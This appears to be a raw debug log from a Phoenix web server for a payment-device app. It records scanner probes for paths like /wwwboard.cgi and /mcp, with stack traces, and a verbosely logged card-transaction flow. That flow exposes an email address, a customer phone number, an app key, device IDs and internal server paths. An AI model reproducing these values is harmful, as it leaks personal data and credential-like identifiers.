    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:48.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36884] GET /wwwboard.cgi
[Thu Sep  3 08:41:48.539000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36884] ** (Phoenix.Router.NoRouteError) no route found for GET /wwwboard.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:49.222000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36894] GET /xampp/cgi.cgi
[Thu Sep  3 08:41:49.256000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36894] ** (Phoenix.Router.NoRouteError) no route found for GET /xampp/cgi.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1780.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 08:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1748.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 08:59:40.747000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.173:7834] GET /
[Thu Sep  3 08:59:40.747000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.173:7834] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:59:40.748000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.173:7834] Sent 200 in 1ms
[Thu Sep  3 08:59:41.055000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.186:9144] GET /mcp/
[Thu Sep  3 08:59:41.064000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.186:9144] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:59:41.097000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.231:12834] GET /
[Thu Sep  3 08:59:41.098000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.231:12834] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:59:41.111000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.231:12834] Sent 406 in 13ms
[Thu Sep  3 08:59:41.112000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.231:12834] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "application/json" with extensions: ["json"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:59:41.138000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.244:8624] GET /mcp
[Thu Sep  3 08:59:41.142000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.223:3760] GET /api/mcp
[Thu Sep  3 08:59:41.162000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.244:8624] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:59:41.167000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.223:3760] ** (Phoenix.Router.NoRouteError) no route found for GET /api/mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:59:41.428000 2026] [Phoenix.Logger:info] [pid 2816631] [client 193.124.20.233:3550] GET /sse
[Thu Sep  3 08:59:41.435000 2026] [Plug.Debugger:debug] [pid 2816631] [client 193.124.20.233:3550] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:01:18.792000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Thu Sep  3 09:05:09.449000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36890] POST /api/device/initiate
[Thu Sep  3 09:05:09.449000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:36890] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch688130464057", "externalRefNumber2" => "5101528811", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:09.449000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36890] Processing card transaction for reference: ch688130464057
[Thu Sep  3 09:05:09.457000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="users" db=2.9ms queue=0.1ms idle=313.7ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 09:05:09.474000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="custom_events" db=15.5ms idle=318.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 09:05:09.474000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch688130464057"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 120,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch688130464057",
  external_ref_number_2: "5101528811",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 09:05:09.474000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 120,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch688130464057",
    external_ref_number_2: "5101528811",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch688130464057",
  transaction_id: nil,
  date_added: ~U[2026-09-03 09:05:09.474759Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 09:05:09.475000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36890] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch688130464057", external_ref_number_2: "5101528811", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch688130464057", transaction_id: nil, date_added: ~U[2026-09-03 09:05:09.474759Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 09:05:09.521000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK db=42.4ms queue=3.4ms idle=335.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch688130464057", external_ref_number_2: "5101528811", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch688130464057", ~U[2026-09-03 09:05:09Z], 35, "initiate_card_txn_request", ~N[2026-09-03 09:05:09], ~N[2026-09-03 09:05:09]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 09:05:09.531000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Successfully created custom event log with ID: 40142
[Thu Sep  3 09:05:09.531000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36890] Handling card transaction:
- Reference: ch688130464057
- Amount: 120
- Params: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch688130464057", "externalRefNumber2" => "5101528811", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 09:05:09.536000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="users" db=1.9ms queue=2.8ms idle=391.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 09:05:09.540000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="custom_events" db=2.0ms queue=1.5ms idle=396.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 09:05:09.540000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch688130464057"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788426309,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 09:05:09.541000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788426309,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch688130464057",
  transaction_id: nil,
  date_added: ~U[2026-09-03 09:05:09.541059Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 09:05:09.541000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36890] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788426309, device_id: "98250623730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "ch688130464057", transaction_id: nil, date_added: ~U[2026-09-03 09:05:09.541059Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 09:05:09.583000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK db=40.9ms queue=0.5ms idle=400.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788426309, device_id: "98250623730001", amount: 120}, "Response From Device Online Status", "ch688130464057", ~U[2026-09-03 09:05:09Z], 36, "response_from_device_online_status", ~N[2026-09-03 09:05:09], ~N[2026-09-03 09:05:09]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 09:05:09.583000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Successfully created custom event log with ID: 40143
[Thu Sep  3 09:05:09.583000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36890] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch688130464057\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 09:05:09.652000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK db=65.2ms queue=2.7ms idle=443.2ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch688130464057", "externalRefNumber2" => "5101528811", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_b5d01a3f2f91@mercurypay.in", "98250623730001", "ch688130464057", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 09:05:09], ~N[2026-09-03 09:05:09]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 09:05:09.654000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="users" db=1.6ms idle=463.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 09:05:09.656000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="custom_events" db=0.8ms queue=0.6ms idle=454.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 09:05:09.656000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch688130464057"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788426309,
  qos: 1,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 09:05:09.656000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788426309,
    qos: 1,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch688130464057",
  transaction_id: nil,
  date_added: ~U[2026-09-03 09:05:09.656711Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 09:05:09.656000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36890] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788426309, qos: 1, device_id: "98250623730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "ch688130464057", transaction_id: nil, date_added: ~U[2026-09-03 09:05:09.656711Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 09:05:09.717000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK db=55.1ms queue=3.9ms idle=372.9ms
